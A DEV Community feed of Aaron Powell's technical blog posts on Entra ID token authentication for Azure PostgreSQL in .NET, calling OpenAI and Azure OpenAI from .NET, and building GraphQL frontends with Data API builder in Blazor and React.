DEV Community: Aaron Powell

Azure PostgreSQL, Entra ID Authentication and .NET

Aaron Powell — Mon, 03 Jun 2024 00:08:47 +0000

I’m currently working on a project in which we are using Entra ID rather than a traditional Postgre username and password. This is a great way to secure your database and ensure that only the right people have access to it.

Note: For the purpose of this article, I’m going to use Entra ID to refer to a user identity, as well as a managed identity such as a service principal, as the approach is the same in this context here.

The above linked documentation covers how you would setup the Azure resource with Entra ID as the authentication mode, so I won’t go over that here (also, you can configure that when you initial create the database, or using a Bicep script), instead I want to look at how we use that in a .NET application, because when you’re connecting using Entra ID you don’t have a password to use, or at least not in the traditional sense.

For this, I’m going to use the Npgql library, which is the most popular PostgreSQL driver for .NET. It’s a great library and has a lot of features, and integrates nicely with Entity Framework Core and .NET Aspire.

What makes connecting different

Before we look at the how of connecting, we need to understand why this is a little different to using a username/password approach. When working with a PostgreSQL database that uses a username/password, you would have a connection string that looks like this:

Server=myServerAddress;Port=5432;Database=myDataBase;User Id=myUsername;Password=myPassword;

But when connecting using Entra ID, it looks like this:

Server=server-name.postgres.database.azure.com;Database=postgres;Port=5432;Username=<Entra ID>;Ssl Mode=Require;

Notice how there is no Password field in the connection string. This is because when you connect using Entra ID, you don’t have a password to use. Instead, you need to use a token that is generated by Entra.

Generating a token

When you connect to the database using Entra ID, you need to request an access token from Entra that you can use to authenticate. You can see this in action using the Azure CLI:

az account get-access-token --resource-type oss-rdbms

Which returns something like this:

{
  "accessToken": "<nope!>",
  "expiresOn": "2024-05-31 17:52:59.000000",
  "expires_on": 1717141979,
  "subscription": "<nope!>",
  "tenant": "<nope!>",
  "tokenType": "Bearer"
}

If you extract the accessToken from the JSON you can then plug that into the connection string for PostgreSQL in the Password argument and you’re good to go.

But it’s not really practical to be running the Azure CLI every time you want to connect to the database, especially since this token is only short lived (you can see the expiry date in the JSON above). Instead, we’re going to want to do this in .NET, and for that we’ll use the Azure.Identity NuGet package.

Using Azure.Identity

Azure.Identity is a library that provides a way to authenticate with Azure services using the Azure SDK, and it contains a class called DefaultAzureCredential that can be used to authenticate. This class is actually a roll-up of a number of different authentication sources, such as Managed Identity, as well as the Azure CLI, Visual Studio, and a bunch of other sources (check out the docs to see all the sources).

To use DefaultAzureCredential you need to install the Azure.Identity NuGet package:

dotnet add package Azure.Identity

Then you can use it in your code like this:

using Azure.Identity;

var credential = new DefaultAzureCredential();
var ctx = new TokenRequestContext(["https://ossrdbms-aad.database.windows.net/.default"]);
var tokenResponse = await credential.GetTokenAsync(ctx);
Console.WriteLine(tokenResponse.Token);

The important part here is that we’re providing a specific scope to the TokenRequestContext of https://ossrdbms-aad.database.windows.net/.default, which grants access to the Azure PostgreSQL Flexible Server. It’s what is being done with the az account get-access-token call and the --resource-type oss-rdbms argument. With this in C# though, we’re able to get the token and then use that to connect to the database.

Handling Token Expiry

One thing to note is that the token that is returned by DefaultAzureCredential is short lived, and will expire after a certain amount of time (24 hours service principal, 4 hours for a user token). This is fine for, say, a console app that is only running for a short period of time, but this becomes a problem if you’re using the connection string in something that is long running, like a web app, since the NpgsqlDataSourceBuilder, the type that is used to build the connection string, should be a singleton.

Thankfully, the authors of Npgsql have given us an approach to handling token refreshes in the box using a Periodic Password Provider. With this feature, we can provide a callback function to be run that will retrieve the password when a connection is opened, and then cache that password for a certain amount of time. This means that we can use the DefaultAzureCredential to get the token, and then use that token to connect to the database.

NpgsqlDataSourceBuilder dataSourceBuilder = new(builder.Configuration.GetConnectionString("Database"));

dataSourceBuilder.UsePeriodicPasswordProvider(async (_, ct) =>
{
    DefaultAzureCredential credential = new();
    TokenRequestContext ctx = new(["https://ossrdbms-aad.database.windows.net/.default"]);
    AccessToken tokenResponse = await credential.GetTokenAsync(ctx, ct);
    return tokenResponse.Token;
}, TimeSpan.FromHours(4), TimeSpan.FromSeconds(10));

On the dataSourceBuilder we call the UsePeriodicPasswordProvider method, passing in a callback function that will get the token, and then two TimeSpan objects that represent the refresh period and the failure refresh period. The refresh period is how often the token will be refreshed, and the failure refresh period is how long to wait before trying to refresh the token again if the token retrieval fails.

Connecting it all up

Now that we know how we can retrieve a token to act as the password for our connections, let’s look at how to connect it all up for a local dev or Azure deployed app:

WebApplicationBuilder builder = WebApplication.CreateBuilder(args);
var connStr = builder.Configuration.GetConnectionString("db");
NpgsqlConnectionStringBuilder csb = new(connStr);

if (!string.IsNullOrEmpty(csb.Password))
{
    builder.AddNpgsqlDataSource("db");
}
else
{
    builder.AddNpgsqlDataSource("db", dataSourceBuilder =>
    {
        dataSourceBuilder.UsePeriodicPasswordProvider(async (_, ct) =>
        {
            DefaultAzureCredential credential = new();
            TokenRequestContext ctx = new(["https://ossrdbms-aad.database.windows.net/.default"]);
            AccessToken tokenResponse = await credential.GetTokenAsync(ctx, ct);
            return tokenResponse.Token;
        }, TimeSpan.FromHours(4), TimeSpan.FromSeconds(10));
    });
}
// and the rest of your app code

Here we’re getting the connection string and creating a NpgsqlConnectionStringBuilder from it so that it gets parsed for us. If the connection string we have has a password, then we can just use that as normal, but if it doesn’t have a password, then we can use the UsePeriodicPasswordProvider method to get the token and use that as the password.

This means we can run locally against a database that uses username/password style access (since we don’t have Entra ID locally), and then deploy to Azure and use Entra ID without having to change the code.

Conclusion

When porting an app that uses PostgreSQL to using Managed Identity I was expecting that it would be quite a lot of work to manage the token retrieval and expiry, initially I thought that it’d require doing a bunch of work to discard the singleton for the NpgsqlDataSourceBuilder and then recreate it when the token expired. But thanks to the UsePeriodicPasswordProvider method, it’s actually quite easy to manage the token retrieval and expiry, and it’s all handled for you.

Generative AI and .NET - Part 4 Images

Aaron Powell — Fri, 06 Oct 2023 03:58:48 +0000

After text generation the most common thing you’re likely wanting to generate with an LLM is going to be images. We’ve all seen those awesome images generated with Midjourney, Stable Diffusion, DALL-E, and others. In this post we’ll look at how to generate images with .NET and an LLM, specifically the DALL-E models from OpenAI. We’ll use DALL-E 2 because at the time of writing DALL-E 3 isn’t available, but I anticipate that it will work the same from a .NET perspective.

Calling the API

Since the DALL-E models are part of the OpenAI LLM family, we'll use the same OpenAIClient class that we used in the previous posts in this series, with the only difference being the method that we call, GetImageGenerationsAsync.

string prompt = "A painting of a cat sitting on a chair";

Response<ImageGenerations> response = await client.GetImageGenerationsAsync(new ImageGenerationOptions {
  Prompt = prompt
});

ImageGenerations imageGeneration = response.Value;
Uri imageUri = imageGeneration.Data[0].Uri;

Console.WriteLine($"Image URI: {imageUri}");

Really, it's just that easy.

Image Generation Options

With the ImageGenerationOptions class we're able to control some aspects of the image generation process. The options are:

ImageCount: how many images you want back (defaults to 1 but you can get up to 10).
ResponseFormat: do you want a URL to the image or a base64 encoded string of the image (defaults to URL).
Size: how big an image do you want from the options of 256, 512, or 1024 (defaults to 1024).
- Note: Images are always square.
User: a unique identifier for the user who the image is generated for. This isn't needed and will default to nothing, but OpenAI uses it to monitor for abuse, so if you're creating an app where anyone can generate an image, it could be useful to include.

What you'll notice is that you don't have some of the other controls that we had when doing text generation, around things like Temperature and TopP. This is because these properties are used to influence how the model would generate the next token (word) in the sequence for the completion, but since we aren't dealing with a text output there's no need for them.

Conclusion

That's it! It's really that easy to generate images with .NET and an LLM.

And yes, the banner image for this post was generated with AI (I might have cheated and used the newly released DALL-E 3 model via Bing Create) using the prompt I need a banner image for a blog post about generating images with AI. Make something creative and abstract.

Generative AI and .NET - Part 3 Chat Completions

Aaron Powell — Thu, 07 Sep 2023 06:30:42 +0000

If you followed the code sample in the last post you’ll have a console application that can generate chat completions, but what I didn’t do was explain what chat completions are or why we’d use them; that’s the purpose of this post.

What is a Chat Completion

A chat completion is a way of generating text based on a prompt. The prompt is a piece of text that you provide, and the completion is the text that is generated by the model. The model is a machine learning model that has been trained on a large corpus of text, and the prompt is used to seed the model to generate the completion.

We saw this in action with the first blog post and that if I was to give a prompt of "The quick brown fox" then the completion would be "jumps over the lazy dog". But this is only part of what we're looking at here, that is a completion but with OpenAI we use chat completions.

A chat completion is a completion that is generated based on a conversation, and is intended to come across as a natural response to the conversation. And here is how we're starting to break away from our LLM being a glorified auto-complete for your phone keyboard and into something that is more like carrying on a conversation.

Now this isn't truly a conversation, the model doesn't understand what you're saying, it's just generating text based on the prompt and the model, but it's been trained in a manner that makes it appear to be conversational.

Creating a Chat Completion

We saw this in the last sample, that we execute a chat completion using the GetChatCompletionsAsync method, passing in the model (or deployment in Azure OpenAI Service's case) and an instance of ChatCompletionOptions.

The ChatCompletionOptions class is used to provide configuration parameters to our all to the service, matching the parameters in the REST API.

Initially, we'll leave the parameters as their default value and focus on the one thing you must provide, the prompt, which we can either provide in the constructor or by adding it to the Messages property of the object:

string prompt = "Describe the most recent Star Wars film.";

ChatCompletionsOptions options = new(new[] { new ChatMessage(ChatRole.User, prompt) });

You'll notice here that we're providing the prompt variable to a ChatMessage object in which we set a ChatRole.User as the role for this message. We'll cover prompt engineering in depth at a later date, but the quick view of it is that we use the role to help our model understand context around what the prompt is, because while the prompt can be just a single sentence, to make it really conversational we're going to likely want to provide more context around that. Since the prompt is from user input, we indicate that with the ChatRole.User, making the model know that this is something to response to. We could add a response from the model by adding a ChatRole.Agent message to the Messages property. There's also System and Function, but we'll cover them when we look at prompt engineering.

If we were to execute this prompt:

Response<ChatCompletions> completions = await client.GetChatCompletionsAsync(model, options);

foreach (ChatChoice choice in completions.Value.Choices)
{
    string content = choice.Message.Content;

    Console.WriteLine(content);
}

We'd get a response like this:

As an AI language model, I cannot have personal feelings, opinions, or experiences. But, I can provide an objective description of the movie "Star Wars: The Rise of Skywalker."

"Star Wars: The Rise of Skywalker" is a 2019 epic space opera film directed by J. J. Abrams and serves as a concluding chapter in the Skywalker Saga. The movie follows the story of Rey, Finn, Poe, and their allies as they embark on a mission to find Exogol, the hidden planet where the evil Palpatine has been resurrected and is preparing to launch a final attack against the Resistance.

Throughout the movie, the characters undergo various challenges and confrontations against Palpatine's forces. They also uncover deep secrets about their families and their connections to the Force.

The musical score, visual effects, and action sequences depicted in the film received praise from critics and audiences. However, some fans and critics criticized the movie's pacing, storylines, and inconsistency with previous installments in the franchise. Despite this, "Star Wars: The Rise of Skywalker" was a box-office success, grossing over $1 billion worldwide.

Note: Your result would likely be different as the output won't be word-for-word consistent, it'll only be consistent in the general theme - this is generative after all.

Tweaking our Chat Completion

When we are working with our model we might want to tweak how it behaves and we can do that by providing additional parameters to the ChatCompletionOptions object. Since it will be "making up" an answer we run the risk of a hallucination in which the model gives as a result that is completely fabricated with no basis in reality.

To adjust this, we can play with the Temperature property. By default, this is set to 1.0 and must be between 0 and 2. Let's execute our chat completion with a temperature of 0.5 (you can use the Polyglot Notebook in my repo):

ChatCompletionsOptions options = new(new[] { new ChatMessage(ChatRole.User, prompt) })
{
    Temperature = 0.5f
};

Running it again yields a result such as this:

As an AI language model, I do not have personal experience or emotions, but I can provide an objective description of the most recent Star Wars movie.

The most recent Star Wars movie is "Star Wars: The Rise of Skywalker," which was released in December 2019. The movie is directed by J.J. Abrams and follows the story of Rey, Finn, and Poe as they try to defeat the evil First Order and its leader, Kylo Ren.

The movie begins with the discovery of a mysterious transmission from the late Emperor Palpatine, who has somehow returned from the dead and is threatening to destroy the galaxy. Rey, Finn, and Poe embark on a dangerous mission to find and destroy the Emperor once and for all.

Throughout the movie, the characters face many challenges and obstacles, including battles with the First Order, encounters with new and old allies, and personal struggles with their own identities and pasts.

In the end, the movie culminates in a final battle between the Resistance and the First Order, with Rey and Kylo Ren facing off against the Emperor in a dramatic and emotional showdown. The movie ends with a sense of closure and resolution, as the characters come to terms with their pasts and look towards a new future.

It's a little more clinical than the original, arguably less creative, but it's also less likely to be completely made up (although we are using a fairly well documented movie, so there is a lot of grounding data that the model would have been trained on).

Let's go the other way and turn the creativity all the way up to 2:

ChatCompletionsOptions options = new(new[] { new ChatMessage(ChatRole.User, prompt) })
{
    Temperature = 2.0f
};

Now let's see a result:

As an AI language model, I cannot Recent mostly Subject to Human's Reaction.

The Star Wars series witnessed the december "without grandeur": chaotic reviews reminded observers advance weaknesses; quarantine-amperf_likelyturned expectation ainvolk_monolith front-cricket media_machine difference years directly sharpen memorable grandfilm inspired director galaxies making Rey fighter_clinks awakened baby_yorzutan cliff_news sources attempts, ensure timing humorous monsters-story full_score writers fuelde motion_center_technybots intense-_energy universe tale unmistakize background hope defntt_difference audience vast_difference symbolism incredible_Tolkien esacaranthros tozkheeri. Being recours_referred_epoe experts found simply entire points unmatched movie fascinating_author had awink_pepping movie approach towards fall dramatically restared '9_genre continues did excellent years!".

Well, that's pretty terrible! I ran the same prompt a few times and each time I got an equally terrible result. But this is to be expected. We "told" the model to go completely wild and it did, and it's not going to be able to generate something that is coherent when that's done because all it is trying to do is combine letters together to make something that looks like a word. After all, if we look at the output there are words in there and some of those words are relevant to Star Wars, galaxies, Rey, fighter, hope, and so on, but they aren't words forming sentences.

Realistically, you would likely want a Temperature of just below 1 as this gives you a good balance between creativity and coherence, but it's the sort of thing you need to experiment with in your own applications.

There are also other parameters that you can tweak, such as TopP and FrequencyPenalty, that you can use to adjust the output of your model. I'll leave it to you to experiment with those.

Playing with TopP

While Temperature is one way to control the output, the other useful one is top_p, or as it's exposed in the .NET SDK, NucleusSamplingFactor (which is what it refers to in AI terminology). While Temperature controls the randomness of the output generated, NucleusSamplingFactor controls the diversity of the output by controlling the number of tokens that are considered when generating the output, the higher the value the more tokens are considered.

Using a low value for NucleusSamplingFactor, say 0.1f, the result from the model will only consider words in the top 10% of confidence that that would be the next word to come in the completion, meaning that the completion should seem "more correct", but it will also be less creative and less diverse in the set of words used. Swinging to the other end of the spectrum and using 1f (it must be a value between 0 and 1) will mean that all words are considered, so the completion will be more creative, but it will also run the risk of being less coherent.

It's important that when you're tweaking these values that you chose whether you want to control the Temperature or the Nucleus Sampling Factor, as you only want to adjust one of them, not both, as they are both controlling the same thing, just in different ways.

Resulting Object

The GetChatCompletionsAsync returns a Response<ChatCompletions> in which the Response<T> is a wrapper type from Azure with some info about the response, such as the HTTP status, what we're really interested in is the ChatCompletions object. From here we can look at info from the service, such as the Id of the completion, the usage information of the available tokens, and most importantly the Choices property.

Choices are the responses from the model and contains the Message (we'll come back to that), FinishReason (why the model stopped generating text), and Index (the index of the choice in the list of choices), and ContentFilterResults (was there any flagging for hate, sexual context, etc.).

The Message property is an instance of ChatMessage and contains the Content which is the generated text that you are going to display to the user, as well as information about the function, but OpenAI functions are a topic for a later date.

So far we've only seen a single choice come back, which is because that's the default on ChatCompletionOptions, but you can change this with the ChoiceCount property, although that doesn't guarantee that you'll get that many choices back, it's just the maximum number of choices you'll get back.

Conclusion

To core of a text-based application with Generative AI is around chat completions. We've seen that with a call to GetChatCompletionsAsync we can generate a response to a prompt, and that we can tweak the parameters to get different results.

We saw that by tweaking the Temperature and NucleusSamplingFactor we can control the creativity and coherence of the response. If we go too far in either extreme the output really stops being useful - especially an "overly creative" temperature setting. We also saw that we can use the ChoiceCount to control the maximum amount of responses that we want to get back.

There are other properties on the ChatCompletionOptions that we can adjust to control the output, and as we dive deeper into more advanced aspects of working with Generative AI we'll look at those.

If you want to play with this sample, check out the Polyglot Notebook in my repo.

Generative AI and .NET - Part 2 SDK

Aaron Powell — Mon, 04 Sep 2023 23:55:34 +0000

It’s time to have a look at how we can build the basics of an application using Azure OpenAI Services and the .NET SDK. Remember, while I will be using AOAI in here everything is going to be applicable to OpenAI itself as well, so if you’re using that you can still follow along (I just happen to use AOAI as then I can test it for the product team).

Getting Started

Before we install the SDK it’s important to know how we work with these services, and that is via the REST API that they publish. Azure OpenAI Service has docs on their REST API but I find them a little unfriendly to read (at least, at the time of writing this blog post) compared to the REST API docs from OpenAI directly.

But if you look at them, you’ll notice that the Open API spec (swagger) is the same for both, so you can use the OpenAI docs to get a better understanding of the API, the parameters and how to call it. The only real difference is the endpoint, OpenAI or your AOAI instance, and the authentication method.

Installing the SDK

While it’s useful to understand the underpinnings of all this, you’re probably not going to want to use the REST API directly, instead we’ll use the .NET SDK for that, which you’ll find on NuGet as Azure.AI.OpenAI. Yes, there are others out there on NuGet but this is the official one from Microsoft, so I’m going to use that.

Creating a Client

The first thing we need to do is create a client, and we do that by creating an instance of the OpenAIClient class, which is in the Azure.AI.OpenAI namespace. Depending on whether you’re using it with AOAI or OpenAI, the constructor you choose is going to be different.

// Creating a client for AOAI
OpenAIClient client = new OpenAIClient(new Uri("https://<your service>.openai.azure.com"), new Azure.AzureKeyCredential("<your AOAI API key>"));

// Creating a client for OpenAI
client = new OpenAIClient("<your OpenAI API key>");

From then on it doesn’t matter if you’re using AOAI or OpenAI, the rest of the code is the same, since it’s the same type, OpenAIClient, that is used to interact with the service.

Generating Chat Completions

Now that we have a client, let’s have a look at how to get it to do something, and that something will be to generate a chat completion. Don’t worry if you’re not familiar with what a chat completion is, we’ll dive into that properly in the next post, but for now consider it as the most common way you would work with the service.

To generate a chat completion we need to call the GetChatCompletionsAsync method, passing in the model we want to use, and the prompt to complete:

ChatCompletionsOptions options = new(new[] { new ChatMessage(ChatRole.User, "What is the colour of the sky?") });

string model = "<deployment name or GPT model>";

Response<ChatCompletions> completion = await client.GetChatCompletionsAsync(model, options);

foreach (ChatChoice choice in completions.Value.Choices)
{
    string content = choice.Message.Content;

    Console.WriteLine(content);
}

This gave me the response of:

The color of the sky can vary depending on factors such as time of day, weather conditions, and location. Generally, during the day when the sun is out, the color of the sky is blue. At sunset or sunrise, the sky can turn shades of red, orange, and pink. At night, the sky can appear black or dark blue with stars visible.

You might be wondering though, what do you provide for the model parameter? Well, this will depend on which service you are using, if it’s AOAI you will first deploy a model and then use the name of that deployment, if it’s OpenAI you will use the name of the model, such as gpt-3.5-turbo.

Conclusion

Congratulations, we have created our very first call to OpenAI and generated a chat completion response from a prompt (that was admittedly hard-coded). If you want to have a play around with this, I’ve created a Polyglot Notebook that you can check out in my website repo.

In the next post we’ll take a proper look at what chat completions are, and how we can use them.

Generative AI and .NET - Part 1 Intro

Aaron Powell — Fri, 01 Sep 2023 06:24:30 +0000

I’ve missed a lot of the recent hype trains, I skipped over blockchain, I avoided web3, and I’m not dumb enough to have believed NFT’s were anything but a scam, but I’m not going to miss out on the AI hype train! Toot toot!

Over the past few weeks I’ve been digging into how we can build stuff with .NET and AI, specifically Generative AI which we see with platforms such as OpenAI, and more specifically Azure OpenAI Service.

While there is heaps of content out there on using these services I’ve noticed that it tends to be heavy in Python, and while I’m not against Python, it’s not a language I’m overly familiar with, so I wanted look at how we can use these services with .NET. Also, a lot of the content is really skewed towards people who are already well versed in the terminology, the concepts, and the tools, so I wanted to try and make this a bit more accessible to people who are new to the space.

So, over this series I’m going to share my learnings on the APIs, SDKs, and the like. The goal here isn’t to “build something” but rather to share what I’ve learnt, the mistakes I’ve made, the things I’ve found confusing, and the code I’ve had to rewrite umpteen times because “oh, that’s a better way to do it”.

But before we get started, I want to make something clear - I am 100% a consumer in this AI story, I’m not an AI expert, an AI researcher, or have any real understanding on how AI models work, and I think that’s an important way to approach this; I’m approaching it as someone who knows how to code and is just trying to do it against a new set of libraries.

Now, without further ado, let’s talk theory.

What is Generative AI?

Throughout this series I’ll be looking at a specific part of the AI landscape and that’s Generative AI. After all, AI isn’t anything new, it’s been around for decades, but what is new is the way it can generate new content, and this is what makes things like OpenAI stand out from previous AI systems.

I’m going to keep referring back to OpenAI, as that’s the platform I’m using (well, I use it with Azure OpenAI Service), but there are other platforms out there that will have their own APIs and SDKs. I don’t have experience with them so I can’t comment on them, but I’m sure the concepts will be similar.

So, what is Generative AI? Well, it’s a system that can generate new content based on existing content. For example, you can give it a sentence and it will generate a new sentence based on what we started with, aka, the prompt.

For example, if we give it the prompt “The quick brown fox jumps over” it might return us “the lazy dog”, as that’s the most likely continuation, or completion to use the correct terminology, of that sentence. But it might also return us “the moon”, or “the fence”, or “the lazy dog jumps over the moon”, or “the lazy dog jumps over the fence”, or “the lazy dog jumps over the moon and the fence”, or so on.

Fun fact: I used a completion for that last sentence, so that’s an example of the AI in action!

Obviously this is a huge oversimplification of what this is, but it’s enough to ground our understanding, and we’ll build on that throughout the series.

OpenAI and Azure OpenAI Service

Before I wrap up this post I want to mention a bit about OpenAI and Azure OpenAI Service. It might seem a bit confusing that I refer to the two of them interchangeably, but that’s because they have an overlap, AOAI (isn’t that a fun acronym!) builds on top of OpenAI, providing the same Large Language Models, or LLMs that OpenAI provides, but with the added benefit of being able to run it in Azure, and in doing so bring in enterprise-centric features that you’d expect from security to integration with other data sources to content filtering.

But when it comes to working with them from a SDK level, they operate very similar. In fact, the .NET SDK that we’ll be using has the ability to change between pointing to AOAI or OpenAI when establishing the connection, so you can easily switch between the two.

But more on that next time.

Next Time

That will do us for this post, mostly this post was about introducing the new series and setting the scene for what we’ll be looking at.

In the next post we’ll look at the basics of how we can use the SDK to connect to the service, and how we can use it to generate completions.

GraphQL on Azure: Part 14 - Using Data API builder with SWA and Blazor

Aaron Powell — Wed, 15 Mar 2023 16:02:47 +0000

This is the last in the three part sub-series looking at the newly launched Data API builder for Azure Databases (DAB) and while last time we looked at creating a React application, this time I wanted to look at how to do the same thing but in .NET using Blazor. So let’s jump in and learn about how to use SWA Data Connections with Blazor.

Oh, and for something different, let’s try also use a SQL backend rather than Cosmos DB.

Setting up DAB

When we’ve looked at DAB so far, we’ve had to create two files, a config for DAB and a GraphQL schema containing the types. Well since we’re using SQL this time we can drop the GraphQL schema file, as DAB will use the SQL schema to generate the types, something it couldn’t do from Cosmos DB, as it doesn’t have a schema.

We’ll use the same data structure, which we have a JSON file like so:

[
  {
    "id": "0",
    "category": "Science: Computers",
    "type": "multiple",
    "difficulty": "easy",
    "question": "What does CPU stand for?",
    "correct_answer": "Central Processing Unit",
    "incorrect_answers": [
      "Central Process Unit",
      "Computer Personal Unit",
      "Central Processor Unit"
    ],
    "modelType": "Question"
  }
]

Let's create a SQL table for that:

USE trivia;
CREATE TABLE question(
    id int IDENTITY(5001, 1) PRIMARY KEY,
    question varchar(max) NOT NULL,
    correct_answer varchar(max) NOT NULL,
    incorrect_answers varchar(max) NOT NULL CHECK ( isjson(incorrect_answers) = 1 )
);

For the incorrect_answers column, we’re specifying that it’s a JSON column, since it’d make the most sense to store it that way rather than creating another table to relate to or similar.

Note: At the time of writing there is a bug in DAB and how it handles JSON columns - we’re going to have to deserialize it ourself: https://github.com/Azure/data-api-builder/issues/444

The only other things we need to change for our config file is the data-sources, so it knows we’re using mssql as the backend over Cosmos DB ()

"data-source": {
    "connection-string": "<put something here>",
    "database-type": "mssql"
  }

Note: The sample repo contains a VSCode devcontainer which will setup a MSSQL environment. You can connect with the local connection string: Server=sql,1433;Database=trivia;User Id=sa;Password=YourStrongPassword!;Persist Security Info=False;MultipleActiveResultSets=False;Connection Timeout=5;TrustServerCertificate=true;

We also need to update the source property of the Question entity to have the schema.table format that SQL uses:

"source": "dbo.question",

With our backend ready it’s time to focus on the frontend.

Blazor and GraphQL

When it comes to creating a GraphQL client in .NET there’s really no other choice of library to use than Strawberry Shake from Chilli Cream.

Let’s start by creating a new Blazor WebAssembly project:

dotnet new blazorwasm --name BlazorGraphQLTrivia --output frontend

We'll also need to add the Strawberry Shake NuGet package:

dotnet new tool-manifest
dotnet tool install StrawberryShake.Tools
dotnet add frontend package StrawberryShake.Blazor

The next step is going to be to generate the .NET types and associated files from our GraphQL service, but since that service is part of the local environment, we'll need to set it up. To do that we'll run the swa init command and generate a SWA CLI config like so:

{
  "$schema": "https://aka.ms/azure/static-web-apps-cli/schema",
  "configurations": {
    "frontend": {
      "appLocation": "frontend",
      "outputLocation": "build",
      "appBuildCommand": "dotnet build",
      "run": "dotnet watch",
      "appDevserverUrl": "http://localhost:5116",
      "dataApiLocation": "data"
    }
  }
}

Then we can run the server with swa start. Now our GraphQL endpoint (and Blazor application) are up and running. You can check out the schema with Banana Cake Pop by having it navigate to http://localhost:4280/data-api/graphql. Something worth noticing is the type for Question that was generated:

type Question {
  id: Int!
  question: String!
  correct_answer: String!
  incorrect_answers: String!
}

The id field is an Int!, since that matches the underlying data type in the SQL schema, and incorrect_answers is a String! since it doesn't know the structure of the JSON column to map a GraphQL object type.

With the server now running, we can get Strawberry Shake to generate the .NET stuff it needs:

dotnet graphql init http://localhost:4280/data-api/graphql -n TriviaClient -p ./frontend

This command will add three new files to your project, a .graphqlrc.json file that contains the information for Strawberry Shake on how to connect to your GraphQL endpoint and generate types, the GraphQL schema as schema.graphql and a schema.extensions.graphql file which Strawberry Shake uses to do things such as working with custom scalars.

Now that we have the GraphQL client generated, we can add a GraphQL operation to our application. We'll start by adding a new page to our application, file called GetQuestions.graphql:

query getQuestions {
  questions(first: 10) {
    items {
      id
      question
      correct_answer
      incorrect_answers
    }
  }
}

With a dotnet build run and passing, we can go and add the TriviaClient to the Pages/Index.razor file and query our GraphQL server. Let's start with an @code block:

@code {
    record QuestionModel(int Id, string Question, IEnumerable<string> Answers, string CorrectAnswer);

    private IEnumerable<QuestionModel> questions = new List<QuestionModel>();
    private Dictionary<int, string> playerAnswers = new();
    private string message = string.Empty;

    protected override async Task OnInitializedAsync()
    {
        var result = await TriviaClient.GetQuestions.ExecuteAsync();

        if (result is null || result.Data is null) {
            return;
        }

        questions = result.Data.Questions.Items.Select(q => {
            var incorrectAnswers = JsonSerializer.Deserialize<List<string>>(q.Incorrect_answers);
            return new QuestionModel(q.Id, q.Question, Randomise(incorrectAnswers.Append(q.Correct_answer)), q.Correct_answer);
        }).ToList();
    }

    public static IEnumerable<string> Randomise(IEnumerable<string> list)
    {
        var random = new Random();
        return list.OrderBy(x => random.Next()).ToList();
    }

    public void CheckAnswers() {
        var correctCount = 0;
        foreach ((int questionId, string answer) in playerAnswers) {
            var question = questions.First(q => q.Id == questionId);
            if (question.CorrectAnswer == answer) {
                correctCount++;
            }
        }

        message = $"You got {correctCount} of {questions.Count()} correct!";
    }
}

That's a lot of code, so let's break it down. First we define a record type that we'll "properly" deserialize the type into (basically unpack the JSON array for incorrect_answers) and declare some private fields to store data we need for the page. The read bulk of our integration starts in the OnInitializedAsync method:

protected override async Task OnInitializedAsync()
{
    var result = await TriviaClient.GetQuestions.ExecuteAsync();

    if (result is null || result.Data is null) {
        return;
    }

    questions = result.Data.Questions.Items.Select(q => {
        var incorrectAnswers = JsonSerializer.Deserialize<List<string>>(q.Incorrect_answers);
        return new QuestionModel(q.Id, q.Question, Randomise(incorrectAnswers.Append(q.Correct_answer)), q.Correct_answer);
    }).ToList();
}

Here we use the TriviaClient (which we can inject to the component with @inject TriviaClient TriviaClient at the top of the file) to call the GetQuestions method, which uses the operation we defined above to query the GraphQL server.

Once we get a result back it’s unpacked and turned into the QuestionModel that can be bound to the UI.

And I’ll leave the rest of the exercise up to you to fill out displaying the questions and answers, but here’s how it looks in the sample application.

Conclusion

In this post we’ve looked at how to use Database Connections with SWA and Blazor to create a trivia game. We’ve seen how to use Database Connections to create a GraphQL client from our SQL server and how to use it in a Blazor application via the Strawberry Shake NuGet package.

You’ll find the sample application on my GitHub and you can learn more about how to use Database Connections on SWA through our docs.

GraphQL on Azure: Part 13 - Using Data API builder with SWA and React

Aaron Powell — Wed, 15 Mar 2023 16:01:47 +0000

In the last post I introduced you to a new project we’ve been working on, Data API builder for Azure Databases (DAB) and in this post I want to look at how we can use it in Azure, and that will be through one of my favourite Azure services, Azure Static Web Apps, for you see, as part of the announcement today of DAB, we’ve announced that it is available as a feature of SWA (called Database Connections), so let’s build a React app!

Local Development

One of the neat things about working with SWA is that we have a CLI tool which emulates the functionality of SWA, and with today’s announcement, we can use it to emulate the Database Connections feature, so let’s get started. First off, we need to ensure we have the latest version of the CLI installed, so let’s run the following command:

npm install -g @azure/static-web-apps-cli@latest

For the Database Connections, we'll use the same configuration that we had in the last post, so let's copy the dab-config.json and schema.graphql into the data folder of our repo, and rename the dab-config.json to staticwebapp.database.config.json. Next, I'm going to scaffold out a new React app (using Vite), so let's run the following command:

npx create-vite frontend --template react-ts

Lastly, we'll initialise the SWA CLI:

swa init

Follow the prompts and adjust any of the values you require (the default Vite template uses npm run dev for the dev server but the SWA CLI init will want to use npm start, so you'll need to adjust one of those values). When completed, you should have a swa-cli.config.json like this:

{
  "$schema": "https://aka.ms/azure/static-web-apps-cli/schema",
  "configurations": {
    "dab": {
      "appLocation": "frontend",
      "outputLocation": "build",
      "appBuildCommand": "npm run build",
      "run": "npm run dev",
      "appDevserverUrl": "http://localhost:5173",
      "dataApiLocation": "data"
    }
  }
}

Notice the last line, "dataApiLocation": "data", this is the location of the folder that contains the schema.graphql and staticwebapp.database.config.json files which are going to be used by the Database Connections feature. Now, let's start the SWA CLI:

swa start

Once the CLI has started you can browse the GraphQL schema in your choice of IDE by providing it with the address http://localhost:4280/data-api/graphql.

Building a React application

It’s time to build the React application, I won’t cover all the details (you’ll find the full example on my GitHub), instead I’ll focus on the GraphQL integration.

Since we have a TypeScript application, we can adapt the pattern I discussed in part 5 on type-safe GraphQL, using GraphQL Code Generator to generate the types for us. To do this, we’ll need to install the following packages to the frontend project:

npm install -D @graphql-codegen/cli

We'll then initialise the GraphQL Code Generator:

npx graphql-code-generator init

Follow the setup guide to create the config file like so:

import type { CodegenConfig } from "@graphql-codegen/cli";

const config: CodegenConfig = {
  overwrite: true,
  schema: "http://localhost:4280/data-api/graphql",
  documents: ["src/**/*.tsx", "src/**/*.ts"],
  generates: {
    "src/gql/": {
      preset: "client",
      plugins: [],
    },
  },
};

export default config;

Great, we're almost ready to go, the last thing we're going to need is a GraphQL client, and for that, we'll use Apollo Client, so let's install that:

npm install @apollo/client graphql

Integrating GraphQL

It's time to integrate GraphQL into our application, and I'm going to do that by creating a useQuestions hook, which will return the questions from the database. First, let's create the hook:

import { graphql } from "./gql/gql";
import { useQuery } from "@apollo/client";
import { useEffect, useState } from "react";
